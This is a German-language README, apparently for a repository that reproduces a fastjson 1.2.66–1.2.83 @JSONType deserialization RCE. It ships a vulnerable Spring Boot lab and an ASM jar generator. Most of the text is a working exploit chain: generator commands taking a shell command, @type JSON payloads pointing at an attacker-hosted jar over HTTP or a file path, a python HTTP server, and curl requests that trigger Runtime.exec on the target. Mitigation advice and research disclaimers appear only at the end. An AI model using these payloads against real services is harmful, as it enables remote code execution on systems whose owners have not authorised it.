
Reproduziert fastjson 1.2.83 @JSONType RCE mit einem verwundbaren Spring-Boot-Ziel und einem ASM-basierten Payload-Generator, der HTTP- oder Dateiprotokoll-JAR-Ketten verwendet.
@JSONType-Ressourcen-Erkennungskette in fastjson 1.2.83
Reproduktionsprojekt für Remote-Klassenladen / Befehlsausführung (RCE) bei fastjson 1.2.66 ~ 1.2.83 über @JSONType-Annotation + ungültigen Klassennamen + jar:-Protokoll.
⚠️ Haftungsausschluss
Dieses Projekt dient ausschließlich der Sicherheitsforschung, Schwachstellen-Reproduktion und autorisierten Tests. Die Verwendung gegen nicht autorisierte Systeme, für illegale Angriffe oder böswillige Zwecke ist strengstens untersagt. Die Nutzer tragen die volle Verantwortung für ihr eigenes Handeln; der Autor übernimmt keinerlei rechtliche Haftung für Missbrauch.
Referenzartikel zur Schwachstellenanalyse: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Dieses Projekt stellt rund um CVE-2026-16723 eine vollständige Umgebung zur Reproduktion der fastjson-1.2.83-Schwachstelle bereit:
demo/ – Verwundbare Spring-Boot-2.7.18-Webanwendung (mit der Abhängigkeit fastjson 1.2.83), die den Endpunkt POST /parse bereitstellt und direkt JSON.parse(json) aufruft;exp/ – Generator für bösartige Sonden-jars auf Basis von ASM (in zwei Varianten: HTTP-Protokoll / FILE-Protokoll);环境/ – Vorkompilierte FatJars für drei Middleware-Varianten (Tomcat / Jetty / Undertow), sofort einsatzbereit.Kernidee des Angriffs: Indem man spezielle JSON-Daten konstruiert, deren @type eine jar-URL ist, bringt man fastjson dazu, den Vertrauenszweig der @JSONType-Annotation zu durchlaufen → getResourceAsStream lädt ein Remote-/lokales jar herunter → defineClass lädt die bösartige Klasse → die Klasseninitialisierung löst <clinit> aus → beliebige Befehlsausführung (RCE).
JSON.parse(json) oder JSON.parseObject(json), um nicht vertrauenswürdige Eingaben direkt zu parsen, und die fastjson-Version liegt bei 1.2.66 ~ 1.2.83, safeMode ist nicht aktiviert;java -jar, LaunchedURLClassLoader; nur Spring Boot ≤ 2.7 behält die Fallback-Fähigkeit des jar:-Protokoll-Handlers);defineClass einen ClassFormatError; man erreicht damit höchstens SSRF);Der checkAutoType von fastjson betritt bei Klassen mit der @JSONType-Annotation einen Vertrauenszweig, überspringt den Großteil der Blacklist-Prüfungen und erlaubt das Laden. Dieses Projekt nutzt genau das aus: Mit ASM wird direkt Bytecode erzeugt, wobei ein [ungültiger interner Klassenname] in this_class im Konstantenpool der Klasse geschrieben wird, sodass die drei Namen perfekt ausgerichtet sind:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Aufbau der bösartigen Klasse:
@JSONType-Annotation – der Schlüssel, der den Vertrauenszweig von checkAutoType in fastjson öffnet;<init>()V – stellt sicher, dass fastjson die Klasse normal instanziieren kann;<clinit> – führt bereits bei der Klasseninitialisierung Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) aus und realisiert so die Befehlsausführung.Einen ungültigen Klassennamen kann
javacnicht erzeugen; nur ASM kann die URL direkt in den Konstantenpool schreiben – genau deshalb ist der Generator dieses Projekts aufasm-9.6.jarangewiesen.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
Das Labor muss unter JDK 8 ausgeführt werden (übereinstimmend mit den Bedingungen für die Ausnutzung).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Adresse des Endpunkts nach dem Start: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 – der HTTP-Hosting-Port des bösartigen jarsopen -a Calculator – der Befehl, der auf dem Zielsystem ausgeführt werden soll (öffnet unter macOS den Taschenrechner; unter Linux kann z. B. id > /tmp/pwned 2>&1 verwendet werden, um die Existenz der Datei zu prüfen)Standardmäßig wird die Datei x (ohne Erweiterung) erzeugt; sie enthält y.class. Der Payload lautet:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Stelle sicher, dass
python3 -m http.serverin dem Verzeichnis gestartet wird, in dem die Dateixerzeugt wurde.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
Das Ergebnis der Befehlsausführung wird nicht in der HTTP-Antwort zurückgegeben; es muss auf dem Zielsystem bestätigt werden:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
Anwendungsszenario: Das Ziel kann den HTTP-Port des Angreifers nicht erreichen (isolierte Netze / eingeschränkter ausgehender Verkehr), aber die jar-Datei kann im Dateisystem des Zielsystems abgelegt werden.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
Der Generator berechnet die jar:file:-URL anhand des aktuellen Verzeichnisses (das Verzeichnistrennzeichen / wird durch . ersetzt). Wird er z. B. unter /tmp/project/exp ausgeführt, lautet der Payload:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
Lade oder kopiere die erzeugte Datei y auf den absoluten Pfad auf dem Zielsystem, der dem @type entspricht (z. B. /tmp/project/exp/y), und behalte die Verzeichnisstruktur bei.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
Achtung: Der Pfad der FILE-Protokollkette muss exakt mit dem tatsächlichen Dateipfad auf dem Zielsystem übereinstimmen, sonst schlägt die Ressourcen-Erkennung fehl und das Laden wird nicht ausgelöst.
2130706433 ist die vorzeichenlose 32-Bit-Ganzzahl von 127.0.0.1. Die Ganzzahlschreibweise verhindert, dass die . in der IP durch die Ersetzungslogik . → / von fastjson verfälscht werden. Wenn sich die Angreifermaschine nicht auf demselben Rechner befindet:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...Das heißt: Das jar kann heruntergeladen werden (SSRF ist gegeben), aber TypeUtils.loadClass liefert null. Dafür gibt es praktisch nur zwei Gründe:
@JSONType-Annotation – die Erkennung erreicht den Vertrauenszweig nicht und kommt gar nicht erst zu loadClass;@type – bei defineClass stimmt der Klassenname nicht mit der tatsächlichen Definition überein, das Laden schlägt fehl.Der Generator dieses Projekts löst beide Punkte gleichzeitig: @JSONType-Annotation + Ausrichtung der drei Namen.
Wenn der ClassLoader des Ziels kein LaunchedURLClassLoader ist (z. B. direkter Start aus der IDE, normale WAR-Datei, Spring Boot 3.x), kann die einzelne jar:http-Kette kein RCE erzielen – mehr als die Verifikation von SSRF ist nicht möglich.
Ab JDK 9+ prüft defineClass ungültige Klassennamen strenger und wirft einen ClassFormatError; die Kette bricht in der Ladephase ab.
ParserConfig.getGlobalInstance().setSafeMode(true); deaktiviert autoType vollständig;JSON.parse(json) / JSON.parseObject(json) nicht direkt mit Benutzereingaben auf; verwende nach Möglichkeit JSON.parseObject(json, Xxx.class), um den Zieltyp explizit anzugeben;ParserConfig.addAccept(...) nur vertrauenswürdige Klassen zu;@type-Payloads per WAF blockieren.Wenn dir dieses Projekt hilft, freuen wir uns über einen ⭐ Star zur Unterstützung von Sicherheitsforschung und Schwachstellen-Dokumentation.
⚠️ Bitte nur für autorisierte Tests verwenden, niemals für illegale Zwecke!
| Feld | Inhalt |
|---|
| CVE | CVE-2026-16723 |
| Komponente | Alibaba fastjson |
| Betroffene Versionen | 1.2.66 ~ 1.2.83 (selbst die letzte 1.x-Version ist betroffen) |
| Schwachstellentyp | Remote Code Execution (RCE) per Deserialisierung |
| Auslöser | JSON.parse(json) / JSON.parseObject(json) (ohne Angabe eines konkreten Typs) |
| Voraussetzungen | Ziel ist ein Spring-Boot-FatJar, JDK 8, safeMode deaktiviert |
| Parameter | Standardwert | Beschreibung |
|---|
port | 19090 | Hosting-Port des bösartigen jars |
cmd | id > /tmp/pwned 2>&1 | Auf dem Zielsystem auszuführender Befehl |
hostToken | 2130706433 | IP, die das Ziel aufruft, in Ganzzahlform (127.0.0.1) |
entry | y | Name des Class-Eintrags im jar |
outFile | x | Name der erzeugten jar-Datei (ohne Erweiterung) |
| Parameter | Standardwert | Beschreibung |
|---|
port | 19090 | Reservierter Parameter (die FILE-Kette verwendet keinen Port) |
cmd | id > /tmp/pwned 2>&1 | Auf dem Zielsystem auszuführender Befehl |
dir | aktuelles Verzeichnis | Verzeichnis des jars auf dem Zielsystem (zur Erzeugung der jar:file:-URL) |
entry | x | Name des Class-Eintrags im jar |
outFile | y | Name der erzeugten jar-Datei (ohne Erweiterung) |